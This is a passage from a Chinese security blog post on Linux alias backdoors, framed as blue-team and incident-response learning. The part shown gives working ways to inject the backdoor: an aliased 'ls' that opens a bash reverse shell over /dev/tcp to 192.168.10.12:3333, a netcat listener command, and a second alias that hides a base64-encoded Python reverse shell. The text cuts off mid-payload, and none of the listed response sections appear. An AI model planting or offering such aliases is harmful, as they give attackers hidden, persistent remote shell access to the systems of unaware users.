alias 后门从入门到应急响应

0xSecDebug

于 2024-09-17 14:32:57 发布

阅读量1.5k

点赞数 28

CC 4.0 BY-SA版权

分类专栏：网络安全学习 # 蓝队文章标签：蓝队应急响应安全运维权限维持

本文链接：https://blog.csdn.net/weixin_72543266/article/details/142314311

3.2 通过PID查看异常连接的进程，以及该进程正在执行的命令行命令

3.3 查看别名

3.4 其他情况

3.5 那么检查这些启动程序和配置文件是否被篡改

1. alias 后门介绍

在Linux系统中，alias命令通常用于为常用的命令设置快捷方式或别名，以提高工作效率。然而，这个特性也可能被滥用来创建后门，允许攻击者在不知情的情况下执行恶意命令。

2. alias 后门注入方式

2.1 方式一(以函数的方式执行)

alias命令的功能：为命令设置别名
alias 查看命令的别名
定义：alias ls="ls -al"
删除别名的：unalias ls
每次输入ls命令的时候都能实现ls -al

# 方式一设置 输入ls时会卡主
alias ls="ls -al"
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.10.12/3333 0>&1; };alerts'


# 反弹shell,只需要被植入的后门的主机输入ls命令就会反弹一次shell,但是会卡主容易被发现

设置完毕后,每输入一次ls命令就会反弹一次shell ,但是会卡主,容易引起怀疑

在kali监听主机端,输入nc -lvvp 3333 监听端口

2.2 方式二(执行python脚本)

alias命令的功能：为命令设置别名
alias 查看命令的别名
定义：alias ls="ls -al"
删除别名的：unalias ls
每次输入ls命令的时候都能实现ls -al

# 设置一后再设置二时先删除1
unalias ls
alias ls="ls -al"

# 方式二设置 需要有Python3环境
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xMC4xNSIsIDMzMzMpKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMCkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDEpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAyKQogICAgICAgIHAgPSBzdWJwcm9jZXNzLmNhbGwoWyIvYmluL3